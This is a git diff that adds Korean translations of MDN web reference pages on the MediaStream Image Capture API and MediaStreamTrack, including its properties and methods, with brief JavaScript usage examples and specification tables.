+ + diff --git a/files/ko/web/api/mediastream_image_capture_api/index.html b/files/ko/web/api/mediastream_image_capture_api/index.html new file mode 100644 index 0000000000..016486c12d --- /dev/null +++ b/files/ko/web/api/mediastream_image_capture_api/index.html @@ -0,0 +1,100 @@ +--- +title: MediaStream Image Capture API +slug: Web/API/MediaStream_Image_Capture_API +tags: + - API + - MediaStream + - MediaStream Image Capture API + - Overview + - Reference + - 비디오 + - 사진 + - 이미지 +translation_of: Web/API/MediaStream_Image_Capture_API +--- +
{{DefaultAPISidebar("Image Capture API")}}
+ +

MediaStream Image Capture API는 촬영 장치를 사용해 이미지와 비디오를 캡처하기 위한 API입니다. 그러나 데이터 캡처 외에도 이미지 해상도, 적목 현상 감소 기능, 플래시 존재 유무와 현재 사용 여부 등 장치 사양에 대한 정보를 가져올 때에도 사용할 수 있습니다. 거꾸로, Image Capture API를 사용하면 현재 장치의 허용 범위 안에서 해당 기능을 조정할 수도 있습니다.

+ +

개념과 사용법

+ +

이미지 또는 비디오 스트림을 가져오는 절차는 다음과 같습니다. 예제 코드는 Chrome의 Image Capture 예제에서 가져온 것입니다.

+ +

우선, {{domxref("MediaDevices.getUserMedia()")}}를 사용해 장치를 가리키는 참조를 가져옵니다. 아래 코드는 단순히 사용 가능한 비디오 장치를 아무거나 요청하는 것이지만, getUserMedia() 메서드는더 상세한 장치 기능 요청도 허용합니다. 반환 값은 {{domxref("MediaStream")}} 객체로 이행하는 {{jsxref("Promise")}}입니다.

+ +
navigator.mediaDevices.getUserMedia({ video: true })
+  .then(mediaStream => {
+    // Do something with the stream.
+  })
+
+ +

그 후, {{domxref("MediaStream.getVideoTracks()")}}를 호출해 미디어 스트림에서 시각적인 부분을 분리합니다. getVideoTracks()의 반환 값은 {{domxref("MediaStreamTrack")}} 객체의 배열로, 여기서는 사용해야 할 객체를 배열의 첫 번째 요소라고 가정합니다. 실제 사용 시에는 MediaStreamTrack 객체의 속성을 사용해 원하는 객체를 찾을 수 있습니다.

+ +
const track = mediaStream.getVideoTracks()[0];
+ +

이미지를 캡처하기 전에 우선 장치의 기능을 설정하고 싶을 것입니다. 다른 작업을 수행하기 전에, 트랙 객체의 {{domxref("MediaStreamTrack.applyConstraints","applyConstraints()")}} 메서드를 사용하면 됩니다.

+ +
let zoom = document.querySelector('#zoom');
+const capabilities = track.getCapabilities();
+// 확대 지원 여부 판별
+if(!capabilities.zoom) {
+  return;
+}
+track.applyConstraints({ advanced : [{ zoom: zoom.value }] });
+
+ +

마지막으로, MediaStreamTrack 객체를 {{domxref("ImageCapture.ImageCapture()", "ImageCapture()")}} 생성자에 제공합니다. MediaStream은 여러 종류의 트랙을 담고 있으며 적절한 트랙을 가져올 때 사용할 수 있는 메서드를 소유하지만, ImageCapture 생성자는 {{domxref("MediaStreamTrack.kind")}}가 "video" 값이 아닌 경우 NotSupportedError {{domxref("DOMException")}}을 던집니다.

+ +
let imageCapture = new ImageCapture(track);
+
+ +

인터페이스

+ +
+
{{domxref("ImageCapture")}}
+
촬영 장치를 참조하는 유효한 {{domxref("MediaStreamTrack")}}을 사용해 이미지를 캡처하기 위한 인터페이스입니다.
+
{{domxref("PhotoCapabilities")}}
+
장착된 촬영 장치에서 사용 가능한 설정 옵션을 제공합니다. {{domxref("ImageCapture.getPhotoCapabilities()")}}를 호출해서 PhotoCapabilities 객체를 가져올 수 있습니다.
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +

ImageCapture

+ +
+ + +

{{Compat("api.ImageCapture")}}

+ +

PhotoCapabilities

+ +
+ + +

{{Compat("api.PhotoCapabilities")}}

+
+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/applyconstraints/index.html b/files/ko/web/api/mediastreamtrack/applyconstraints/index.html new file mode 100644 index 0000000000..f2c145bf85 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/applyconstraints/index.html @@ -0,0 +1,91 @@ +--- +title: MediaStreamTrack.applyConstraints() +slug: Web/API/MediaStreamTrack/applyConstraints +tags: + - API + - Media Capture and Streams API + - Media Streams API + - MediaStreamTrack + - Method +translation_of: Web/API/MediaStreamTrack/applyConstraints +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 applyConstraints() 메서드는 트랙에 제약을 적용합니다. 제약을 통해 웹 사이트와 앱은 프레임 레이트, 해상도, 플래시 여부 등, 제약 가능한 속성을 자신이 바라는 이상적인 값과 허용 가능한 범위로 제한할 수 있습니다.

+ +

제약을 통해 미디어를 여러분의 선호 가이드라인에 맞출 수 있습니다. 예를 들면 고해상도 비디오를 선호하되 네트워크 사용량 폭증을 막기 위해 다소 낮은 프레임 레이트를 요구할 수 있습니다. 또한 이상적인 크기나, 허용 가능한 크기의 범위를 지정할 수도 있습니다. 기능, 제약, 설정 문서의 제약 적용 항목에서 원하는 제약을 적용하는 방법에 대해 더 알아보세요.

+ +

구문

+ +
const appliedPromise = track.applyConstraints([constraints])
+ +

매개변수

+ +
+
constraints {{optional_inline}}
+
트랙에 적용할 제약 속성을 나열하는 {{domxref("MediaTrackConstraints")}} 객체. 기존에 존재하는 제약은 모두 새로운 값으로 대체하고, constraints 매개변수에 포함하지 않은 제약의 경우 기본값으로 돌아갑니다. 매개변수를 생략한 경우, 모든 사용자 지정 제약을 기본값으로 초기화합니다. constraints 객체는 {{jsxref("Promise")}}가 이행하기 전에 반드시 적용해야 하는 기본 제약 설정을 나타냅니다. 추가로, 반드시 동일한 조건이어야 함을 나타내는 고급 제약도 MediaTrackConstrants 객체 배열로 포함할 수 있습니다.
+
+ +

반환 값

+ +

제약을 성공적으로 적용한 경우 이행하는 {{jsxref("Promise")}}. 제약 적용에 실패한 경우, 이름이 OverconstrainedError인 {{domxref("MediaStreamError")}}로 거부합니다. 제약이 너무 엄격해서 일치하는 조건을 찾지 못한 경우 발생할 수 있습니다.

+ +

예제

+ +

다음 코드는 기본과 고급 제약을 지정하는 법을 보입니다. 우선 페이지와 앱이 640에서 1280의 너비, 480에서 720의 높이가 필요하다고 지정합니다. 이때 뒤쪽의 큰 수를 선호하는 값으로 나타냅니다. 고급 제약은 더 나아가 1920*1280의 이미지를 선호하며, 이 크기를 제공할 수 없는 경우 가로세로비 1.333을 요구합니다. 이렇게 여러 개의 제약을 두는 것을 명세는 "백오프 전략"이라고 말합니다.

+ +
const constraints = {
+  width: {min: 640, ideal: 1280},
+  height: {min: 480, ideal: 720},
+  advanced: [
+    {width: 1920, height: 1280},
+    {aspectRatio: 1.333}
+  ]
+};
+
+navigator.mediaDevices.getUserMedia({ video: true })
+.then(mediaStream => {
+  const track = mediaStream.getVideoTracks()[0];
+  track.applyConstraints(constraints)
+  .then(() => {
+    // Do something with the track such as using the Image Capture API.
+  })
+  .catch(e => {
+    // The constraints could not be satisfied by the available devices.
+  });
+});
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediatrackconstraints', 'applyConstraints()')}}{{Spec2('Media Capture')}}Initial definition.
{{SpecName('MediaStream Image', '#mediatrackconstraintset-section','applyConstraints()')}}{{Spec2('MediaStream Image')}}Adds image constraints.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.applyConstraints")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/clone/index.html b/files/ko/web/api/mediastreamtrack/clone/index.html new file mode 100644 index 0000000000..71e6794948 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/clone/index.html @@ -0,0 +1,46 @@ +--- +title: MediaStreamTrack.clone() +slug: Web/API/MediaStreamTrack/clone +tags: + - API + - Media Capture and Streams API + - Media Streams API + - MediaStreamTrack + - Method + - Reference +translation_of: Web/API/MediaStreamTrack/clone +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 clone() 메서드는 MediaStreamTrack 객체의 사본을 반환합니다. 사본은 새로운 {{domxref("MediaStreamTrack.id", "id")}}를 제외하면 모든 값이 원본과 동일합니다.

+ +

구문

+ +
const newTrack = track.clone()
+ +

반환 값

+ +

clone()을 호출한 {{domxref("MediaStreamTrack")}}에서 {{domxref("MediaStreamTrack.id", "id")}}를 제외하면 똑같은 새로운 MediaStreamTrack.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediastreamtrack-clone', 'clone()')}}{{Spec2('Media Capture')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.clone")}}

diff --git a/files/ko/web/api/mediastreamtrack/enabled/index.html b/files/ko/web/api/mediastreamtrack/enabled/index.html new file mode 100644 index 0000000000..6fbe680416 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/enabled/index.html @@ -0,0 +1,83 @@ +--- +title: MediaStreamTrack.enabled +slug: Web/API/MediaStreamTrack/enabled +tags: + - Media + - Media Capture and Streams + - MediaStreamTrack + - Property + - Reference + - WebRTC +translation_of: Web/API/MediaStreamTrack/enabled +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 enabled 속성은 트랙이 소스 스트림을 렌더링 할 수 있으면 true, 아니면 false를 반환합니다. enabled 속성을 사용해 음소거 기능을 구현할 수 있습니다. 활성화된 경우 트랙의 데이터는 입력에서 목적지로 출력됩니다. 비활성 상태에서는 빈 프레임만 출력합니다.

+ +

오디오 트랙의 경우 비활성화 트랙이 생성하는 빈 프레임은 아무 소리도 없는 것, 즉 모든 샘플의 값이 0인 프레임이며, 비디오의 경우 모든 픽셀이 검은 프레임입니다.

+ +

사실, enabled의 값은 사용자가 트랙의 "음소거" 상태로 취급할 상태를 나타내며, {{domxref("MediaStreamTrack.muted", "muted")}} 속성은 전송 중 프레임 유실 등으로 인해 데이터를 출력할 수 없는 상태를 뜻합니다.

+ +
+

참고: 트랙의 연결이 끊긴 후에도 enabled 값을 바꿀 수는 있지만 아무런 효과도 없습니다.

+
+ +

구문

+ +
const enabledFlag = track.enabled
+track.enabled = [true | false]
+ +

+ +

true는 실제 미디어의 렌더링이 허용됨을 나타냅니다. false로 설정한 경우 빈 프레임만 생성합니다.

+ +

빈 오디오 프레임의 모든 샘플 값은 0입니다. 빈 비디오 프레임의 모든 픽셀은 완전한 검정입니다.

+ +

사용 일람

+ +

{{domxref("MediaStreamTrack")}}이 카메라의 비디오 입력을 나타내는 경우, 트랙의 enabledfalse로 설정해 비활성화하면 카메라의 녹화 표시도 꺼집니다. 예를 들어, iMac과 MacBook의 카메라 옆에 존재하는 초록색 "사용 중" LED도 꺼집니다.

+ +

예제

+ +

다음 코드는 {{event("click")}} 이벤트 처리기를 사용해 일시정지를 구현합니다.

+ +
pauseButton.onclick = function(evt) {
+  const newState = !myAudioTrack.enabled;
+
+  pauseButton.innerHTML = newState ? "&#x25B6;&#xFE0F;" : "&#x23F8;&#xFE0F;";
+  myAudioTrack.enabled = newState;
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-enabled', 'enabled') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.enabled")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/getcapabilities/index.html b/files/ko/web/api/mediastreamtrack/getcapabilities/index.html new file mode 100644 index 0000000000..7d950a96c4 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/getcapabilities/index.html @@ -0,0 +1,48 @@ +--- +title: MediaStreamTrack.getCapabilities() +slug: Web/API/MediaStreamTrack/getCapabilities +tags: + - API + - Media Capture and Streams API + - Media Streams API + - MediaStreamTrack + - Method + - Reference +translation_of: Web/API/MediaStreamTrack/getCapabilities +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 getCapabilities() 메서드는 {{glossary("user agent", "사용자 에이전트")}}가 지원하는 각각의 제약 조건에 적용할 수 있는 값이나 값의 범위를 나타내는 {{domxref('MediaTrackCapabilities')}} 객체를 반환합니다.

+ +

브라우저의 기능 범위를 알아낸 후에는 스크립트에서 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}를 사용해 트랙의 설정을 이상적인 값으로, 또는 적어도 원하는 범위 안으로 설정할 수 있습니다. 기능, 제약, 설정 문서에서 제약 속성 사용법에 대해 자세히 알아보세요.

+ +

구문

+ +
const capabilities = track.getCapabilities()
+ +

반환 값

+ +

사용자 에이전트가 지원하는 제약 속성 각각의 가능한 값 또는 값의 범위를 나타내는 {{domxref('MediaTrackCapabilities')}} 객체.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediastreamtrack-getcapabilities', 'getCapabilities()')}}{{Spec2('Media Capture')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.getCapabilities")}}

diff --git a/files/ko/web/api/mediastreamtrack/getconstraints/index.html b/files/ko/web/api/mediastreamtrack/getconstraints/index.html new file mode 100644 index 0000000000..b0ad272813 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/getconstraints/index.html @@ -0,0 +1,62 @@ +--- +title: MediaStreamTrack.getConstraints() +slug: Web/API/MediaStreamTrack/getConstraints +tags: + - API + - Media Capture and Streams API + - Media Streams API + - MediaStreamTrack + - Method + - Reference +translation_of: Web/API/MediaStreamTrack/getConstraints +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 getConstraints() 메서드는 현재 트랙에서 마지막으로 호출한 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} 메서드로 설정한 제약을 포함한 객체를 반환합니다. 반환한 제약 값은 웹 사이트나 애플리케이션이 제약 속성에 지정한 특정 값 또는 값의 범위 조건을 나타냅니다.

+ +

제약을 통해 미디어를 여러분의 선호 가이드라인에 맞출 수 있습니다. 예를 들면 고해상도 비디오를 선호하되 네트워크 사용량 폭증을 막기 위해 다소 낮은 프레임 레이트를 요구할 수 있습니다. 또한 이상적인 크기나, 허용 가능한 크기의 범위를 지정할 수도 있습니다. 기능, 제약, 설정 문서의 제약 적용 항목에서 원하는 제약을 적용하는 방법에 대해 더 알아보세요.

+ +

구문

+ +
const constraints = track.getConstraints()
+ +

반환 값

+ +

가장 최근에 웹 사이트 또는 애플리케이션에서 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} 호출로 지정한 제약 속성을 나타내는 {{domxref("MediaTrackConstraints")}} 객체. 지정할 때 사용한 속성 순서를 동일하게 반환하며, 웹 사이트 또는 애플리케이션에서 지정하지 않은 속성은 포함하지 않습니다.

+ +
+

참고: 반환한 제약 집합이 반드시 미디어의 실제 상태를 나타내는 것은 아닙니다. 사이트 코드에서 지정한 어떤 제약 조건을 만족할 수 없는 상황에서도, 해당 속성을 반환 값에 포함합니다. 따라서 반환 값이 반드시 미디어의 실제 상태를 나타내는 것은 아닙니다. 모든 제약 속성에 현재 활성화된 값이 필요한 경우 {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} 메서드를 사용하세요.

+
+ +

예제

+ +

다음 예제는 트랙의 현재 제약을 가져와서 {{domxref("MediaTrackConstraints.facingMode", "facingMode")}}를 설정한 후, 새로운 제약을 트랙에 적용합니다.

+ +
function switchCameras(track, camera) {
+  const constraints = track.getConstraints();
+  constraints.facingMode = camera;
+  track.applyConstraints(constraints);
+}
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediastreamtrack-getconstraints', 'getConstraints()')}}{{Spec2('Media Capture')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.getConstraints")}}

diff --git a/files/ko/web/api/mediastreamtrack/getsettings/index.html b/files/ko/web/api/mediastreamtrack/getsettings/index.html new file mode 100644 index 0000000000..32df925e2e --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/getsettings/index.html @@ -0,0 +1,49 @@ +--- +title: MediaStreamTrack.getSettings() +slug: Web/API/MediaStreamTrack/getSettings +tags: + - API + - Media Capture and Streams + - MediaStreamTrack + - Method + - Reference +translation_of: Web/API/MediaStreamTrack/getSettings +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 getSettings() 메서드는 트랙의 각 제약 속성에 지금 적용된 값을 담은 {{domxref("MediaTrackSettings")}} 객체를 반환합니다. 기능, 제약, 설정 문서에서 제약 속성 사용법에 대해 자세히 알아보세요.

+ +

구문

+ +
const settings = track.getSettings()
+ +

반환 값

+ +

트랙의 현재 제약 속성 설정을 설명하는 {{domxref("MediaTrackSettings")}} 객체.

+ +
+

참고: 반환하는 객체는 모든 제약 속성을 포함하며, 사이트 코드에서 수정하지 않은 플랫폼 기본값 역시 들어있습니다. 사이트 코드에서 제일 최근에 적용한 제약 속성만 필요한 경우, {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}} 메서드를 사용하세요.

+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediastreamtrack-getsettings', 'getSettings()')}}{{Spec2('Media Capture')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.getSettings")}}

diff --git a/files/ko/web/api/mediastreamtrack/id/index.html b/files/ko/web/api/mediastreamtrack/id/index.html new file mode 100644 index 0000000000..ee7a4ebe30 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/id/index.html @@ -0,0 +1,50 @@ +--- +title: MediaStreamTrack.id +slug: Web/API/MediaStreamTrack/id +tags: + - Media Capture and Streams + - MediaStreamTrack + - Property + - Read-only + - Reference + - WebRTC +translation_of: Web/API/MediaStreamTrack/id +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack.id 읽기 전용 속성은 {{glossary("user agent", "사용자 에이전트")}}가 생성하는, 트랙의 전역 고유 식별자(GUID)를 담은 {{domxref("DOMString")}}을 반환합니다.

+ +

구문

+ +
const id = track.id
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-id', 'MediaStreamTrack.id') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.id")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/index.html b/files/ko/web/api/mediastreamtrack/index.html new file mode 100644 index 0000000000..1b5fd8b18a --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/index.html @@ -0,0 +1,135 @@ +--- +title: MediaStreamTrack +slug: Web/API/MediaStreamTrack +tags: + - API + - Interface + - Media + - Media Capture and Streams API + - Media Streams API + - MediaStreamTrack + - Reference + - WebRTC +translation_of: Web/API/MediaStreamTrack +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack 인터페이스는 스트림 내의 단일 미디어 트랙을 나타냅니다. 보통 오디오와 비디오 트랙이지만, 다른 종류도 존재할 수 있습니다.

+ +

속성

+ +

MediaStreamTrack은 다음에 나열된 속성 외에도 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}로 설정하고 {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}와 {{domxref("MediaStreamTrack.getSettings", "getSettings()")}}로 접근 가능한 제약 속성을 가집니다. 기능, 제약, 설정 문서를 방문해 제약 속성을 다루는 법을 알아보세요. 올바르게 다루지 않으면 불안정한 코드를 낳을 수 있습니다.

+ +
+
{{domxref("MediaStreamTrack.contentHint")}}
+
트랙 유형에 대한 힌트를 제공하는 문자열입니다. 웹 애플리케이션이 트랙의 처리 방식을 결정할 때 사용할 수 있습니다.
+
{{domxref("MediaStreamTrack.enabled")}}
+
트랙을 활성화, 즉 미디어 출처 스트림의 렌더링을 허용하면 true이고 비활성화, 즉 미디어 소스 스트림 렌더링을 허용하지 않아 검은 화면과 조용함만 확인할 수 있으면 false인 속성입니다. 트랙의 연결이 끊긴 경우에도 값을 바꿀 수는 있으나 아무런 효과도 없습니다. +
참고: 일반적인 "음소거" 기능은 enabledfalse로 바꿔서 구현할 수 있습니다. muted 속성은 기술적인 문제로 인해 미디어가 존재하지 않을 때를 나타냅니다.
+
+
{{domxref("MediaStreamTrack.id")}} {{readonlyInline}}
+
트랙의 고유 식별자(GUID)를 담은 {{domxref("DOMString")}}을 반환합니다. 고유 식별자는 브라우저가 생성합니다.
+
{{domxref("MediaStreamTrack.isolated")}} {{ReadOnlyInline}}
+
트랙이 고립된 경우 true인 속성입니다. 고립 상태란 해당 MediaStreamTrack을 소유한 문서에서 트랙에 접근할 수 없을 때를 의미합니다. {{domxref("MediaStreamTrack.peerIdentity", "peerIdentity")}} 속성이 설정된 경우, 그리고 트랙의 소스가 교차 출처에 위치하는 경우 발생합니다.
+
{{domxref("MediaStreamTrack.kind")}} {{readonlyInline}}
+
오디오 트랙인 경우 "audio", 비디오 트랙인 경우 "video"인 {{domxref("DOMString")}}을 반환합니다. 트랙이 소스에서 분리된 경우 변하지 않습니다.
+
{{domxref("MediaStreamTrack.label")}} {{readonlyInline}}
+
트랙 소스에 대해 사용자 에이전트가 할당한 식별자를 담은 {{domxref("DOMString")}}을 반환합니다. 식별자의 예시는 "internal microphone"입니다. 빈 문자열일 수 있으며, 연결된 소스가 없는 경우 계속 빈 문자열로 남아 있습니다.  트랙이 소스에서 분리되더라도 식별자는 변하지 않습니다.
+
{{domxref("MediaStreamTrack.muted")}} {{readonlyInline}}
+
기술적인 문제로 인해 트랙이 미디어 데이터를 제공할 수 없음을 나타내는 불리언 값을 반환합니다. +
참고: 일반적인 "음소거" 기능은 enabledfalse로 바꿔서 구현할 수 있으며, 음소거 해제는 enabled를 다시 true로 바꾸면 됩니다.
+
+
{{domxref("MediaStreamTrack.readonly")}} {{readonlyInline}}
+
읽기 전용 트랙(비디오 파일 소스, 설정을 바꿀 수 없는 카메라 등)인 경우 true를 반환합니다. 그 외의 경우 false를 반환합니다.
+
{{domxref("MediaStreamTrack.readyState")}} {{readonlyInline}}
+
트랙의 상태를 나타내는 열거형 값을 반환합니다. 가능한 값은 다음과 같습니다. +
    +
  • "live"는 입력이 연결됐으며 실시간 데이터를 제공하고 있음을 나타냅니다. 이때, {{domxref("MediaStreamTrack.enabled", "enabled")}} 특성을 사용해 데이터 출력을 켜거나 끌 수 있습니다.
  • +
  • "ended"는 입력이 더 이상 데이터를 전달하지 않고 있으며, 앞으로도 새로운 데이터를 제공하지 않을 것임을 나타냅니다.
  • +
+
+
+ + + +

메서드

+ +
+
{{domxref("MediaStreamTrack.applyConstraints()")}}
+
애플리케이션이 MediaStreamTrack에 사용 가능한 제약 속성을 원하는 값과 범위로 지정할 수 있는 메서드입니다.
+
{{domxref("MediaStreamTrack.clone()")}}
+
MediaStreamTrack의 복제본을 반환합니다.
+
{{domxref("MediaStreamTrack.getCapabilities()")}}
+
MediaStreamTrack에 사용 가능한 제약 속성을 반환합니다.
+
{{domxref("MediaStreamTrack.getConstraints()")}}
+
MediaStreamTrack에 현재 지정된 제약을 담은 {{domxref('MediaTrackConstraints')}} 객체를 반환합니다. 이전에 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}로 설정한 값과 동일합니다.
+
{{domxref("MediaStreamTrack.getSettings()")}}
+
MediaStreamTrack에 현재 지정된 제약 속성 각각의 값을 담은 {{domxref("MediaTrackSettings")}} 객체를 반환합니다.
+
{{domxref("MediaStreamTrack.stop()")}}
+
트랙에 연결된 소스의 재생을 중단하고, 서로 분리합니다. 트랙의 상태는 ended로 변경합니다.
+
+ +

이벤트

+ +

다음 이벤트는 MediaStreamTrack의 {{domxref("EventTarget.addEventListener", "addEventListener()")}}를 사용하거나 oneventname 속성을 사용해 수신할 수 있습니다.

+ +
+
ended
+
트랙의 플레이백이 끝났을 때, 즉 {{domxref("MediaStreamTrack.readyState", "readyState")}}의 값이 ended로 변했을 때 발생합니다.
+ onended 이벤트 처리기 속성으로도 수신할 수 있습니다.
+
mute
+
기술적인 이유(네트워크 문제 등)로 인해 일시적으로 트랙이 데이터를 제공하지 못할 때, 즉 {{domxref("MediaStreamTrack.muted", "muted")}}의 값이 true로 변했을 때 발생합니다.
+ onmute 이벤트 처리기 속성으로도 수신할 수 있습니다.
+
isolationchange
+
문서가 트랙에 대한 접근 권한을 얻거나 잃었을 때, 즉 {{domxref("MediaStreamTrack.isolated", "isolated")}}의 값이 변할 때 발생합니다.
+ onisolationchange 이벤트 처리기 속성으로도 수신할 수 있습니다.
+
unmute
+
데이터를 다시 사용할 수 있어서 muted 상태가 끝날 때 발생합니다.
+ onunmute 이벤트 처리기 속성으로도 수신할 수 있습니다.
+
+ + + +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#mediastreamtrack', 'MediaStreamTrack')}}{{Spec2('Media Capture')}}Initial definition
{{SpecName("WebRTC Identity", "#isolated-track", "Isolated tracks")}}{{Spec2("WebRTC Identity")}}Additional properties for isolated track support
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.MediaStreamTrack")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/kind/index.html b/files/ko/web/api/mediastreamtrack/kind/index.html new file mode 100644 index 0000000000..752ab567bd --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/kind/index.html @@ -0,0 +1,59 @@ +--- +title: MediaStreamTrack.kind +slug: Web/API/MediaStreamTrack/kind +tags: + - Media Capture and Streams + - MediaStreamTrack + - Property + - Read-only + - Reference + - WebRTC +translation_of: Web/API/MediaStreamTrack/kind +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack.kind 읽기 전용 속성은 트랙이 오디오인 경우 "audio", 비디오인 경우 "video"인  {{domxref("DOMString")}}을 반환합니다. 트랙이 소스에서 분리된 경우엔 바뀌지 않습니다.

+ +

구문

+ +
const type = track.kind
+ +

+ +

{{domxref("DOMString")}}. 가능한 값은 다음과 같습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-kind', 'MediaStreamTrack.kind') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.kind")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/label/index.html b/files/ko/web/api/mediastreamtrack/label/index.html new file mode 100644 index 0000000000..0c2d615e2a --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/label/index.html @@ -0,0 +1,54 @@ +--- +title: MediaStreamTrack.label +slug: Web/API/MediaStreamTrack/label +tags: + - Media Capture and Streams + - MediaStreamTrack + - Property + - Read-only + - Reference + - WebRTC +translation_of: Web/API/MediaStreamTrack/label +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack.label 읽기 전용 속성은 {{glossary("user agent", "사용자 에이전트")}}가 트랙 소스를 식별하기 위해 지정한 레이블을 담은 {{domxref("DOMString")}}을 반환합니다. 소스가 연결되지 않은 경우 빈 문자열이며, 연결됐던 트랙이 소스에서 분리되더라도 레이블은 바뀌지 않습니다.

+ +

구문

+ +
const label = track.label
+ +

+ +

사용자 에이전트가 지정한 식별 레이블. "internal microphone" 등의 형태입니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-label', 'MediaStreamTrack.label') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.label")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/muted/index.html b/files/ko/web/api/mediastreamtrack/muted/index.html new file mode 100644 index 0000000000..c212d7b424 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/muted/index.html @@ -0,0 +1,67 @@ +--- +title: MediaStreamTrack.muted +slug: Web/API/MediaStreamTrack/muted +tags: + - API + - Media + - Media Capture and Streams + - MediaStreamTrack + - Property + - Read-only + - Reference +translation_of: Web/API/MediaStreamTrack/muted +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 muted 읽기 전용 속성은 트랙이 현재 미디어 출력을 제공할 수 없는 상태인지를 나타내는 {{jsxref("Boolean")}}을 반환합니다.

+ +
+

참고: 사용자가 트랙을 음소거할 수 있는 기능을 구현하려면 {{domxref("MediaStreamTrack.enabled", "enabled")}} 속성을 사용하세요. enabledfalse로 바꿔 트랙을 비활성하면 빈 프레임(모든 샘플이 0인 오디오 프레임, 모든 픽셀이 검은색인 비디오 프레임)만 생성합니다.

+
+ +

구문

+ +
const mutedFlag = track.muted
+ +

+ +

트랙이 중단된 상태면 true, 아니면 false.

+ +
+

참고: 되도록이면 트랙의 중단 상태를 알기 위해 muted를 폴링 하는 것보다는 {{event("mute")}}와 {{event("unmute")}} 이벤트를 수신하세요.

+
+ +

예제

+ +

다음 예제 코드는 {{domxref("MediaStreamTrack")}} 배열에서 중단된 트랙의 수를 셉니다.

+ +
let mutedCount = 0;
+
+trackList.forEach((track) => {
+  if (track.muted) {
+    mutedCount += 1;
+  }
+});
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediastreamtrack-muted', 'muted')}}{{Spec2('Media Capture')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.muted")}}

